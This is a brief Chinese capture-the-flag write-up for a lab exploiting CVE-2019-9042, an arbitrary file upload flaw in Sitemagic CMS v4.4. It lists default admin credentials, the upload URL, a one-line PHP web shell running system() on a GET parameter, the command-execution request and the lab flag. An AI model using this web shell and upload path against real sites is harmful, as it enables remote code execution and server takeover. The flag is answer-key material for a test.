春秋云镜:CVE-2019-9042(Sitemagic CMS v4.4 任意文件上传漏洞)
一、题目
靶标介绍：
Sitemagic CMS v4.4 index.php?SMExt=SMFiles 存在任意文件上传漏洞，攻击者可上传恶意代码执行系统命令。
进入题目：
admin/admin
/index.php?SMExt=SMFiles&SMTemplateType=Basic&SMExecMode=Dedicated&SMFilesUpload&SMFilesUploadPath=files%2Fimages
一句话木马：
system.php<?php system($_GET[1]);phpinfo();?>
/files/images/system.php?1=cat ///flag
flag{35a77803-ae47-4b5e-a937-d71f263c8a79}